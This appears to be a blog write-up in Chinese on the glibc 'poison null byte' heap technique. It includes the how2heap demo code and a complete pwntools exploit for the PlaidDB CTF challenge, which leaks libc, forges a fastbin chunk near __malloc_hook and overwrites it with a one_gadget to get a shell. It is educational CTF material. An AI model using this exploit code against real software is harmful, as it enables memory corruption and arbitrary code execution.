poison null byte

poison null byte

off by null 改小已经释放的 chunk 的 size 域,而该 chunk 的物理下一个 chunk 的 prev_size 域没有被修改。

当前 chunk 的 size 域被改小,意味着定位下一个 chunk 会出问题,无法正确修改原来物理相邻 chunk 的 prev_size 域,释放原来物理相邻 chunk ,利用合并机制产生堆叠。

如图 chunk a 存在 off by null ,释放 chunk b 并利用 off by null 修改 chunk b 的 size 域为 0x100

现在,chunk b 已经被修改成 0x100 大小的 chunk,并且 chunk b 在 unsorted bin 中。

接下来在 chunk b 中分配两个 chunk 分别是: chunkB1 与 chunkB2,释放 chunkB1,最后释放 chunk c。

释放 chunk c 时,chunkB1 越过 chunk B2 与 chunk c 合并成一个大 chunk,分配出该大 chunk 产生 chunk B2 重叠的 chunk。

注意 chunkB1 不能在 fastbin 中(接下来用于绕过 free(chunk c) 时的 unlink 验证)

注意 chunk b 我们要绕过一个限制:chunksize(P) != prev_size (next_chunk(P))

chunk b 的 size 被修改成 0x100,prev_size (next_chunk(chunk b)) 也要修改为 0x100

how2heap 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>


int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to poison null byte 2.0!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;

printf("We allocate 0x100 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x100);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);

printf("b: %p\n", b);

c = (uint8_t*) malloc(0x100);
printf("c: %p\n", c);

barrier = malloc(0x100);
printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;

// this technique works by overwriting the size metadata of a free chunk
free(b);

printf("b.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
printf("b.size: %#lx\n", *b_size_ptr);

uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf("c.prev_size is %#lx\n",*c_prev_size_ptr);

// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);

printf("b1: %p\n",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control

b2 = malloc(0x80);
printf("b2: %p\n",b2);

memset(b2,'B',0x80);
printf("Current b2 content:\n%s\n",b2);

printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

free(b1);
free(c);

printf("Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0x300);
printf("d: %p\n",d);

printf("Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);

printf("New b2 content:\n%s\n",b2);

printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n");

assert(strstr(b2, "DDDDDDDDDDDD"));
}

PlaidDB

利用 poison null byte ,泄漏libc地址,构造 fake fastbin 到 __malloc_hook - 0x23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
context.log_level = 'debug'
libc_file_name = '/home/pandaos/Projects/pwn/glibc/2.23/64/lib/libc-2.23.so'
ld_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/ld-linux-x86-64.so.2'

targetBin = './datastore'
elf = ELF(targetBin)
libc = ELF(libc_file_name)

p = process([ld_file_name, targetBin],
env = {"LD_PRELOAD": libc_file_name})

def GET(key):
p.sendlineafter('Enter command:\n', 'GET')
p.sendlineafter('Enter row key:\n', key)


def PUT(key, size, value):
p.sendlineafter('Enter command:\n', 'PUT')
p.sendlineafter('Enter row key:\n', key)
p.sendlineafter('Enter data size:\n', str(size))
p.sendafter('Enter data:\n', value)

def DEL(key):
p.sendlineafter('Enter command:\n', 'DEL')
p.sendlineafter('Enter row key:\n', key)

def DUMP():
p.sendlineafter('Enter command:\n', 'DUMP')

def EXIT():
p.sendlineafter('Enter command:\n', 'EXIT')

for i in range(10):
PUT(str(i), 0x8, 'A' * 8)

for i in range(10):
DEL(str(i))


PUT('key1', 0x71, 'A' * 0x71)
PUT('key2', 0x100, (b'A' * 128 + p64(0x90)) + b'\x00' * (0x100 - 0x88))
PUT('key3', 0x90, 'C' * 0x90)
PUT('keyD', 0x90, 'D' * 0x90) # top

DEL('key1')
DEL('key2')

PUT('E' * 0x78, 0x11, 'F' * 0x11)

PUT('key4', 0x80, '\xAA' * 0x80)
PUT('key5', 0x60, '\xCC' * 0x60) #hhh

# overlap
DEL('key4')
DEL('key3')

# leak
PUT('key6', 0x80, '\xBB' * 0x80)
GET('key5')
p.recvuntil(":\n")
leak_raw = u64(p.recvn(8))
print("leak raw:", hex(leak_raw))
libc_base = leak_raw - 0x39bb78
print("leak libc:", hex(libc_base))

# one_gadget
one_gadget = libc_base + 0xd5bf7
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc_hook = libc_base + libc.symbols['realloc']
realloc_off = 0x9
target_fastbin = malloc_hook - 0x23

print("one gadget:", hex(one_gadget))
print("relloc_hook:", hex(realloc_hook))
print("malloc_hook:", hex(malloc_hook))

fake_chunk = b'A' * 0x80 + p64(0) + p64(0x71) + b'\x99' * 0x60 + p64(0x70) + p64(0x20)
fake_chunk2 = b'A' * 0x80 + p64(0) + p64(0x71) + p64(target_fastbin) +b'\x99' * 0x58 + p64(0x70) + p64(0x20)
DEL('key6')
PUT('key8', len(fake_chunk), fake_chunk)
DEL('key5')
DEL('key8')
PUT('key8', len(fake_chunk2), fake_chunk2)
# malloc_hook in fastbin
# 'A' * 0xB, realloc_hook, malloc_hook
fake_chunk3 = b'A' * 0xB + p64(one_gadget) + p64(realloc_hook + realloc_off)
PUT('key9', 0x60, 'A' * 0x60)
PUT('key10', 0x60, fake_chunk3.ljust(0x60, b'A'))
# gdb.attach(p, 'b *' + hex(one_gadget))
p.sendlineafter('Enter command:\n', 'PUT')
p.interactive()


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!